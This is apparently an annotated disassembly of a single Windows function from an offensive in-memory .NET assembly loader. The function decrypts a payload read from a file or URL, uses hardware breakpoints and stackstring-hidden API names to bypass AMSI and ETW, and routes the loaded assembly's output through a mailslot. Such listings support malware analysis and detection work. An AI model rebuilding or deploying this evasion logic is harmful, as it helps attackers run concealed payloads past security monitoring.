Function at 0x140002270
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create mailslot
Link many functions at runtime
Load windows common language runtime
Read file on windows

Disassembly:
push rbp
push rbx
push r14
push r15
lea rbp, [rsp - 0xf8]
sub rsp, 0x1f8
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0xe0], rax
xor ebx, ebx
lea rax, [0x1400047be]
mov qword [rsp + 0x60], rax
mov r14, rdx
mov qword [rsp + 0x58], rbx
lea r15, [0x1400047bc]
mov qword [rsp + 0x50], rbx
cmp ecx, 3
jge 0x1400022e1
mov rbx, qword [rdx]
lea rcx, str.Usage:_n
call fcn.140001840
mov rdx, rbx
lea rcx, str._t_s__payload___key___arguments__n
call fcn.140001840
jmp 0x140002c9f
mov qword [rsp + 0x220], rsi
mov r8d, 4
mov rsi, qword [rdx + 8]
lea rdx, str.http
mov qword [rsp + 0x230], rdi
mov rcx, rsi
mov qword [rsp + 0x238], r12
mov qword [rsp + 0x1f0], r13
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
mov r12d, ebx
lea rcx, str.___Loading_file__s_n
test eax, eax
mov r13d, 1
mov rdx, rsi
cmove r12d, r13d
call fcn.140001840
mov rdi, qword [r14 + 0x10]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140002344
mov rdx, rdi
mov qword [rbp - 0x30], rbx
lea rcx, str.___Loading_key__s_n
call fcn.140001840
mov rax, qword [r14 + 0x18]
test rax, rax
je 0x14000237b
mov rdx, rax
lea rcx, str.___Arguments:__s_n
mov r15, rax
call fcn.140001840
mov rcx, rsi
test r12d, r12d
jne 0x1400023f8
lea rdx, [0x14000480c]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r12, rax
test rax, rax
je 0x1400023ec
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
xor r8d, r8d
xor edx, edx
mov rcx, r12
movsxd r14, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, r12
mov r8, r13
mov rcx, rax
mov qword [rsp + 0x58], rax
mov rdx, r14
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r9, rbx
mov r8, rdi
jmp 0x14000245a
lea rcx, str.____Failed_to_read_file:__s_n
jmp 0x140002c77
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x58]
call fcn.140001900
test eax, eax
jne 0x14000241c
lea rcx, str.____Failed_to_get_payload_from_target
call fcn.140001840
jmp 0x140002c7f
lea r8, [rbp - 0x30]
mov rcx, rdi
lea rdx, [rsp + 0x60]
call fcn.140001900
test eax, eax
jne 0x140002442
lea rcx, str.____Failed_to_get_key_from_target
call fcn.140001840
jmp 0x140002c7f
mov rsi, qword [rsp + 0x58]
mov r9, qword [rbp - 0x30]
mov r8, qword [rsp + 0x60]
mov r14, qword [rsp + 0x50]
mov qword [rsp + 0x58], rsi
mov rdx, r14
mov rcx, rsi
call fcn.140001d20
mov ecx, SafeArrayCopy
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor r12d, r12d
xorps xmm0, xmm0
mov r13, rax
xor eax, eax
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rax
mov byte [r13 + 0x18], al
movsd xmm0, qword [str..mailslot_]
movsd qword [r13], xmm0
mov ecx, dword [0x140004888]
mov dword [r13 + 8], ecx
movzx ecx, byte [0x14000488c]
mov byte [r13 + 0xc], cl
movsd xmm0, qword [str.nothinghere]
movsd qword [r13 + 0xd], xmm0
xorps xmm0, xmm0
mov eax, dword [0x1400047b8]
mov dword [r13 + 0x15], eax
xor eax, eax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x80], r12
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x78], r12
movups xmmword [rbp - 0x48], xmm0
mov dword [rsp + 0x70], r12d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [r12 + 8]
mov r8d, 0xffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor edx, edx
mov r8d, 0xffff
mov rcx, rax
mov qword [rsp + 0x60], rax
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x40], 0x302e3476
mov r9d, r12d
mov dword [rsp + 0x44], 0x3330332e
mov word [rsp + 0x48], 0x3931
test r14d, r14d
jle 0x14000258f
lea rax, [rsp + 0x40]
mov r8, rsi
sub r8, rax
nop dword [rax + rax]
mov rax, r12
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x40]
add rdx, rax
movzx ecx, byte [rdx + r8]
cmp byte [rdx], cl
jne 0x140002584
cmp rax, 9
je 0x140002727
inc rax
cmp rax, 0xa
jl 0x140002560
inc r9d
inc r8
cmp r9d, r14d
jl 0x140002550
mov eax, r12d
lea rcx, str.v2.0.50727
mov qword [rbp - 0x20], r12
test eax, eax
lea rsi, str.v4.0.30319
cmove rsi, rcx
mov rcx, 0xffffffffffffffff
mov rdi, rcx
inc rdi
cmp byte [r15 + rdi], r12b
jne 0x1400025b4
inc rdi
mov eax, 2
mul rdi
cmovo rax, rcx
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, r15
mov qword [rsp + 0x20], 0xffffffffffffffff
mov rdx, rax
lea rcx, [rbp - 0x20]
mov r8, rdi
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetElement
mov qword [rbp - 0x18], r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, str.nothinghere
mov qword [rsp + 0x20], 0xffffffffffffffff
mov rdx, rax
lea rcx, [rbp - 0x18]
mov r8d, SafeArrayDestroy
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r8d, dword [rsp + 0x70]
mov ecx, 8
mov rbx, rax
xor edx, edx
mov eax, 0x2008
mov word [rbp - 0x48], ax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x30], r12d
cmp dword [rsp + 0x70], r12d
jle 0x14000269c
mov ecx, r12d
nop word [rax + rax]
movsxd rcx, ecx
mov rcx, qword [rbx + rcx*8]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x30]
mov r8, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov ecx, dword [rbp - 0x30]
inc ecx
mov dword [rbp - 0x30], ecx
cmp ecx, dword [rsp + 0x70]
jl 0x140002670
lea rcx, str.___Setting_up_breakpoint_for_bypass__n
call fcn.140001840
movdqa xmm0, xmmword [0x140004a60]
lea rcx, str.kernel32.dll
movdqu xmmword [rbp + 0xc0], xmm0
mov dword [rbp + 0xd0], 0x6e6f6974
mov dword [rbp + 0xd4], 0x646e6148
mov dword [rbp + 0xd8], 0x72656c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x1400016a0]
mov ecx, 1
call rax
lea rcx, [0x1400066c0]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
test rbx, rbx
jne 0x140002731
lea rcx, str.____Failed_to_setup_breakpoint__Abort._n
call fcn.140001840
jmp 0x140002c7f
mov eax, 1
jmp 0x140002592
lea rcx, [rbp + 0x48]
mov dword [rbp + 0x48], 0x6c64746e
mov dword [rbp + 0x4c], 0x6c642e6c
mov word [rbp + 0x50], 0x6c
mov dword [rbp + 0x98], 0x7254744e
mov dword [rbp + 0x9c], 0x43656361
mov dword [rbp + 0xa0], 0x72746e6f
mov word [rbp + 0xa4], 0x6c6f
mov byte [rbp + 0xa6], r12b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
mov rcx, r15
mov r9d, eax
call fcn.1400014f0
lea rcx, str.___Start_loading_assembly__Please_wait_for_the_ouput._n
call fcn.140001840
lea r8, [rbp - 0x58]
lea rdx, [0x140006048]
lea rcx, [0x140006098]
call qword [sym.imp.mscoree.dll_CLRCreateInstance]
test eax, eax
jne 0x140002c70
mov rcx, qword [rbp - 0x58]
lea r9, [rbp - 0x80]
lea r8, [0x140006078]
mov rdx, rsi
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
test eax, eax
jne 0x140002c70
mov rcx, qword [rbp - 0x80]
lea rdx, [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
jne 0x140002a64
cmp dword [rbp - 0x30], r12d
je 0x140002a64
mov rcx, qword [rbp - 0x80]
lea r9, [rsp + 0x78]
lea r8, [0x140006088]
lea rdx, [0x140006068]
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
jne 0x140002c67
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + 0x50]
xor r9d, r9d
xor edx, edx
mov r8d, 0xffffffff
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateMailslotA]
lea rcx, [rbp + 0x28]
mov dword [rbp + 0x28], 0x6e72656b
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x2c], 0x32336c65
mov dword [rbp + 0x30], 0x6c6c642e
mov byte [rbp + 0x34], r12b
mov dword [rbp + 0x58], 0x61657243
mov dword [rbp + 0x5c], 0x69466574
mov dword [rbp + 0x60], 0x41656c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, r13
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call rax
lea rcx, [rbp + 0x28]
mov dword [rbp + 0x78], 0x53746547
mov r13, rax
mov dword [rbp + 0x7c], 0x61486474
mov dword [rbp + 0x80], 0x656c646e
mov byte [rbp + 0x84], r12b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xfffffff5
call rax
lea rcx, [rbp + 0x28]
mov qword [rbp - 0x30], rax
mov dword [rbp + 0x88], 0x53746553
mov dword [rbp + 0x8c], 0x61486474
mov dword [rbp + 0x90], 0x656c646e
mov byte [rbp + 0x94], r12b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r13
mov ecx, 0xfffffff5
mov qword [rsp + 0x68], rax
call rax
mov rcx, qword [rsp + 0x78]
lea r9, [rbp - 0x60]
xor r8d, r8d
mov rdx, rdi
mov r10, qword [rcx]
call qword [r10 + 0x60]
mov rcx, qword [rbp - 0x60]
lea r8, [rbp - 0x68]
lea rdx, [0x140006058]
mov r9, qword [rcx]
call qword [r9]
lea rcx, [rbp + 0x38]
mov dword [rbp + 0x38], 0x69736d61
mov dword [rbp + 0x3c], 0x6c6c642e
mov byte [rbp + 0x40], r12b
mov dword [rbp + 0xa8], 0x69736d41
mov dword [rbp + 0xac], 0x6e616353
mov dword [rbp + 0xb0], 0x66667542
mov word [rbp + 0xb4], 0x7265
mov byte [rbp + 0xb6], r12b
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, 1
mov rcx, rbx
mov r9d, eax
mov edx, edi
call fcn.1400014f0
lea ecx, [rdi + 0x10]
mov dword [rbp + 0x20], r14d
lea r8, [rbp + 0x20]
mov dword [rbp + 0x24], r12d
mov edx, edi
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
xor ebx, ebx
lea rdx, [rbp - 0x50]
mov rcx, rax
mov qword [rbp - 0x50], rbx
mov r12, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov rdx, qword [rsp + 0x58]
mov r8, r14
mov rcx, qword [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r12
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x68]
lea r8, [rbp - 0x70]
mov rdx, r12
mov r9, qword [rcx]
call qword [r9 + 0x168]
test eax, eax
je 0x140002a70
lea rcx, str.____Process_refusing_to_load_AppDomain_of__ls_CLR_version._Try_running_an_assembly_that_requires_a_differnt_CLR_version._n
jmp 0x140002c77
mov rcx, qword [rbp - 0x70]
lea rdx, [rbp - 0x78]
mov rax, qword [rcx]
call qword [rax + 0x80]
test eax, eax
je 0x140002a96
lea rcx, str.____Process_refusing_to_find_entry_point_of_assembly._n
call fcn.140001840
jmp 0x140002c7f
xor eax, eax
xorps xmm1, xmm1
xorps xmm0, xmm0
mov qword [rbp + 0x18], rax
movups xmmword [rbp - 0x10], xmm1
mov r8d, edi
mov qword [rbp], rax
lea ecx, [rax + 0xc]
mov word [rbp - 0x10], di
xor edx, edx
movups xmmword [rbp + 8], xmm0
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
xor esi, esi
lea r8, [rbp - 0x48]
mov rcx, rax
mov dword [rbp - 0x28], esi
lea rdx, [rbp - 0x28]
mov rdi, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov rcx, qword [rbp - 0x78]
lea r9, [rbp + 8]
movups xmm0, xmmword [rbp - 0x10]
lea rdx, [rbp + 0xc0]
mov r8, rdi
movsd xmm1, qword [rbp]
mov r10, qword [rcx]
movaps xmmword [rbp + 0xc0], xmm0
movsd qword [rbp + 0xd0], xmm1
call qword [r10 + 0x128]
mov rcx, qword [rsp + 0x60]
lea rdx, [rsp + 0x50]
call fcn.140002050
mov rdx, qword [rsp + 0x60]
lea rcx, str._n_n_s_n
call fcn.140001840
lea rcx, [rbp + 0x28]
mov dword [rbp + 0x68], 0x736f6c43
mov dword [rbp + 0x6c], 0x6e614865
mov dword [rbp + 0x70], 0x656c64
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x50]
mov rbx, rax
call rbx
mov rcx, r13
call rbx
mov rdx, qword [rbp - 0x30]
mov ecx, 0xfffffff5
call qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, eax
mov rcx, r15
call fcn.1400015b0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword [rsp + 0x40]
mov edx, eax
call fcn.1400015b0
mov rcx, r12
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
lea rcx, [rbp + 8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp - 0x10]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp - 0x48]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test rdi, rdi
je 0x140002bcc
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x140002bdf
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x78], rsi
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x140002bf2
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x70], rsi
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x140002c05
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x68], rsi
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x140002c1b
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rdx, qword [rbp - 0x60]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140002c33
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov qword [rsp + 0x78], rsi
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x140002c46
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x80], rsi
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140002c59
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x58], rsi
lea rcx, str.___Cleaned_up_the_breakpoint_and_CLR_created._n
call fcn.140001840
jmp 0x140002c7f
lea rcx, str.____Process_refusing_to_get_interface_of__ls_CLR_version._Try_running_an_assembly_that_requires_a_differnt_CLR_version._n
jmp 0x140002c77
lea rcx, str.____The_assembly_is_not_correctly_loaded._Please_check_your_decryption_key___n____Or_the_Process_refusing_to_load_AppDomain_of__ls_CLR_version._Try_running_an_assembly_that_requires_a_differnt_CLR_version._n
mov rdx, rsi
call fcn.140001840
mov r12, qword [rsp + 0x238]
mov rdi, qword [rsp + 0x230]
mov rsi, qword [rsp + 0x220]
mov r13, qword [rsp + 0x1f0]
xor eax, eax
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.140002cd0
add rsp, 0x1f8
pop r15
pop r14
pop rbx
pop rbp
ret